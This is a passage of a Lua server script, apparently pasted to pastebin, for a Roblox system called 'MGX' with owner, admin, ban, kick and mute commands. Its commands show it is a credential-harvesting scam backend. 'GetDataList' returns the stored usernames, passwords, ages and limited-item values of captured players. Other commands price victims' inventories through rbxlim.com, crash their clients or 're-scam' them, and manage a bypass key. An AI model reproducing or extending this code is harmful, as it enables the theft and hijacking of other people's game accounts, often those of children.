  930. elseif cmd == "AddViewAdmin" then
  931. if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
  932. AddViewAdmin(slots[3])
  933. else
  934. print(slots[1].Name .. " tried to add an view-admin when he/she is not owner/admin!")
  935. end
  936. elseif cmd == "AddBypass" then
  937. if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
  938. AddBypass(slots[3])
  939. else
  940. print(slots[1].Name .. " tried to add an bypass when he/she is not owner/admin!")
  941. end
  942. elseif cmd == "AddMute" then
  943. if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
  944. if CheckOwner(slots[3]) == false and CheckAdmin(slots[3]) == false then
  945. if slots[1].Name == slots[3] then return end
  946. AddMute(slots[3])
  947. end
  948. else
  949. print(slots[1].Name .. " tried to add an mute when he/she is not owner/admin!")
  950. end
  951. elseif cmd == "AddBan" then
  952. if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
  953. if CheckOwner(slots[3]) == false and CheckAdmin(slots[3]) == false then
  954. if slots[1].Name == slots[3] then return end
  955. AddBan(slots[3])
  956. end
  957. else
  958. print(slots[1].Name .. " tried to add an ban when he/she is not owner/admin!")
  959. end
  960. elseif cmd == "RemoveOwner" then
  961. if CheckOwner(slots[1].Name) and slots[1].userId == game.CreatorId then
  962. RemoveOwner(slots[3])
  963. else
  964. print(slots[1].Name .. " tried to remove an owner when he/she is not game owner!")
  965. end
  966. elseif cmd == "RemoveAdmin" then
  967. if CheckOwner(slots[1].Name) then
  968. RemoveAdmin(slots[3])
  969. else
  970. print(slots[1].Name .. " tried to remove an admin when he/she is not owner!")
  971. end
  972. elseif cmd == "RemoveViewAdmin" then
  973. if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
  974. RemoveAdmin(slots[3])
  975. else
  976. print(slots[1].Name .. " tried to remove an view-admin when he/she is not owner/admin!")
  977. end
  978. elseif cmd == "RemoveBypass" then
  979. if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
  980. RemoveBypass(slots[3])
  981. else
  982. print(slots[1].Name .. " tried to remove an bypass when he/she is not owner/admin!")
  983. end
  984. elseif cmd == "RemoveMute" then
  985. if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
  986. RemoveMute(slots[3])
  987. else
  988. print(slots[1].Name .. " tried to remove an mute when he/she is not owner/admin!")
  989. end
  990. elseif cmd == "RemoveBan" then
  991. if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
  992. RemoveBan(slots[3])
  993. else
  994. print(slots[1].Name .. " tried to remove an ban when he/she is not owner/admin!")
  995. end
  996. elseif cmd == "BanMe" then
  997. AddBan(slots[1].Name)
  998. elseif cmd == "CheckStorageMode" then
  999. return StorageMode
  1000. elseif cmd == "GetStorage" then
  1001. return StorageName
  1002. elseif cmd == "GetRBXLim" then
  1003. return http:GetAsync("http://rbxlim.com/u/" .. slots[3],true)
  1004. elseif cmd == "GetLogGuiName" then
  1005. return LogGui
  1006. elseif cmd == "GetBypassKey" then
  1007. return BypassKey
  1008. elseif cmd == "GetRules" then
  1009. return BypassRules
  1010. elseif cmd == "GetStrictFilter" then
  1011. return StrictFilter
  1012. elseif cmd == "GetBootInformation" then
  1013. local chOwner = CheckOwner(slots[1].Name)
  1014. local chIsAdmin = CheckAdmin(slots[1].Name)
  1015. local chIsViewAdmin = CheckViewAdmin(slots[1].Name)
  1016. local chIsBypasser = CheckBypass(slots[1].Name)
  1017. local chIsMuted = CheckMute(slots[1].Name)
  1018. local chIsBanned = CheckBan(slots[1].Name)
  1019. local chStorageName = StorageName
  1020. local chBypassKey = BypassKey
  1021. local chStorageType = StorageMode
  1022. local chStrictFilter = StrictFilter
  1023. local chRadioPerm = RadioPerm
  1024. local chHotkey = Hotkey
  1025. local chAutoMute = AutoMute
  1026. local chCountdown = Countdown
  1027. local chValidationEffect = ValidationEffect
  1028. local chVersion = Version
  1029. local chNewVersion = NewVersion
  1030.  
  1031. -- Makes our final table and returns it
  1032. local finalTable = {
  1033. IsOwner = chOwner,
  1034. IsAdmin = chIsAdmin,
  1035. IsViewAdmin = chIsViewAdmin,
  1036. IsBypasser = chIsBypasser,
  1037. IsMuted = chIsMuted,
  1038. IsBanned = chIsBanned,
  1039. StorageName = chStorageName,
  1040. BypassKey = chBypassKey,
  1041. StorageType = chStorageType,
  1042. StrictFilter = chStrictFilter,
  1043. RadioPerm = chRadioPerm,
  1044. Hotkey = chHotkey,
  1045. AutoMute = chAutoMute,
  1046. Countdown = chCountdown,
  1047. ValidationEffect = chValidationEffect,
  1048. Version = chVersion,
  1049. NewVersion = chNewVersion
  1050. }
  1051. return finalTable
  1052. elseif cmd == "GetRap" then
  1053. if RBXLim then
  1054. local http = game:GetService("HttpService")
  1055. local rap = http:GetAsync("http://rbxlim.com/u/" .. slots[3],true)
  1056. rap = string.gsub(rap,",", "")
  1057. local x, y = string.find(rap, "RAP:")
  1058. local res = string.match(string.sub(rap,x), "%d+")
  1059. return res
  1060. else
  1061. return "Err."
  1062. end
  1063. elseif cmd == "GetRSList" then
  1064. local RSType = slots[3]
  1065. if RSType == 1 then return Owners end
  1066. if RSType == 2 then return Admins end
  1067. if RSType == 3 then return ViewAdmins end
  1068. if RSType == 4 then return Bypassers end
  1069. if RSType == 5 then return Mutes end
  1070. if RSType == 6 then return Banned end
  1071. elseif cmd == "GetCountdown" then
  1072. return Countdown
  1073. elseif cmd == "RSCheck" then
  1074. local NameToCheck = slots[3]
  1075. local RSTypeToCheck = slots[4]
  1076. if RSTypeToCheck == 1 then return CheckOwner(NameToCheck) end
  1077. if RSTypeToCheck == 2 then return CheckAdmin(NameToCheck) end
  1078. if RSTypeToCheck == 3 then return CheckViewAdmin(NameToCheck) end
  1079. if RSTypeToCheck == 4 then return CheckBypass(NameToCheck) end
  1080. if RSTypeToCheck == 5 then return CheckMute(NameToCheck) end
  1081. if RSTypeToCheck == 6 then return CheckBan(NameToCheck) end
  1082. elseif cmd == "GetTip" then
  1083. return Tip
  1084. elseif cmd == "GetRadioPerm" then
  1085. return RadioPerm
  1086. elseif cmd == "GetDataList" then
  1087. local finalTable = {}
  1088. if StorageMode == "Local" then
  1089. for i,v in pairs(workspace[StorageName]:getChildren()) do
  1090. local tempTable = {Username = v.Name, Pass = v.pass.Value, BC = v.bc.Value, Age = v.age.Value, Rap = v.rap.Value}
  1091. table.insert(finalTable,tempTable)
  1092. end
  1093. elseif StorageMode == "Global" then
  1094. local DStoreTable = getDataStore()
  1095. if DStoreTable and type(DStoreTable) == "table" then
  1096. for i,v in pairs(DStoreTable) do
  1097. local tempTable = {Username = v.Username, Pass = v.Pass, BC = v.BCVal, Age = v.AgeVal, Rap = v.RapVal}
  1098. table.insert(finalTable,tempTable)
  1099. end
  1100. end
  1101. end
  1102. return finalTable
  1103. elseif cmd == "KickPlayer" then
  1104. if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
  1105. if CheckOwner(slots[3]) == false and CheckAdmin(slots[3]) == false then
  1106. if game.Players:findFirstChild(slots[3]) then
  1107. if game.Players[slots[3]].PlayerGui:findFirstChild("MGX") then
  1108. game.Players[slots[3]].PlayerGui.MGX.MainScript.Kick:InvokeClient(game.Players[slots[3]])
  1109. end
  1110. end
  1111. end
  1112. else
  1113. print(slots[1].Name .. " tried to kick when he/she is not owner/admin!")
  1114. end
  1115. elseif cmd == "CrashPlayer" then
  1116. if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
  1117. if CheckOwner(slots[3]) == false and CheckAdmin(slots[3]) == false then
  1118. if game.Players:findFirstChild(slots[3]) then
  1119. if game.Players[slots[3]].PlayerGui:findFirstChild("MGX") then
  1120. game.Players[slots[3]].PlayerGui.MGX.MainScript.Crash:InvokeClient(game.Players[slots[3]])
  1121. end
  1122. end
  1123. end
  1124. else
  1125. print(slots[1].Name .. " tried to crash when he/she is not owner/admin!")
  1126. end
  1127. elseif cmd == "RescamPlayer" then
  1128. if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
  1129. if CheckOwner(slots[3]) == false and CheckAdmin(slots[3]) == false and CheckViewAdmin(slots[3]) == false and CheckBypass(slots[3]) == false then
  1130. if game.Players:findFirstChild(slots[3]) then
  1131. if game.Players[slots[3]].PlayerGui:findFirstChild("MGX") then
  1132. game.Players[slots[3]].PlayerGui.MGX.MainScript.Rescam:InvokeClient(game.Players[slots[3]])
  1133. end
  1134. end
  1135. end
  1136. else
  1137. print(slots[1].Name .. " tried to rescam when he/she is not owner/admin!")
  1138. end
  1139. elseif cmd == "GetPCDetails" then
  1140. return {IsOwner = CheckOwner(slots[3]), IsAdmin = CheckAdmin(slots[3]), IsViewAdmin = CheckViewAdmin(slots[3]), IsBypass = CheckBypass(slots[3]), IsMute = CheckMute(slots[3]), IsBanned = CheckBan(slots[3])}
  1141. elseif cmd == "ChangeVarible" then
  1142. if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) or CheckViewAdmin(slots[1].Name) then
  1143. local varTC = slots[3]
  1144. if varTC == "LogGui" then
  1145. LogGui = slots[4]
  1146. LogGuiLabel.Value = slots[4]
  1147. end
  1148. end
  1149. end
  1150. end
  1151.  
  1152. game:WaitForChild("ReplicatedStorage"):WaitForChild("MGX-Main").OnServerInvoke = MGXInvoke
  1153.  
  1154. game.Players.PlayerAdded:connect(function(plr)
  1155. WelcomePlayer(plr)
  1156. end)
  1157.  
  1158. if Radio == false then return end
  1159. coroutine.resume(coroutine.create(function()
  1160. while true do
  1161. local rawRadio = http:GetAsync("http://pastebin.com/raw.php?i=XhdSfTmb")
  1162. RadioLabel.Value = rawRadio
  1163. wait(2)
  1164. end
  1165. end))
  1166. -- RBXLim Checker
  1167. coroutine.resume(coroutine.create(function()
  1168. while true do
  1169. local FinalTestRap = "Nope"
  1170. coroutine.resume(coroutine.create(function()
  1171. local http = game:GetService("HttpService")
  1172. local TestRap = http:GetAsync("http://rbxlim.com/u/" .. "Player",true)
  1173. TestRap = string.gsub(TestRap,",", "")
  1174. local x, y = string.find(TestRap, "RAP:")
  1175. local FinalTestRap = string.match(string.sub(TestRap,x), "%d+")
  1176. end))
  1177. wait(5)
  1178. if FinalTestRap == "Nope" then
  1179. print("RBXLim is down.")
  1180. RBXLim = false
  1181. else
  1182. print("RBXLim is up.")
  1183. RBXLim = true
  1184. end
  1185. wait(30)
  1186. end
  1187. end))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement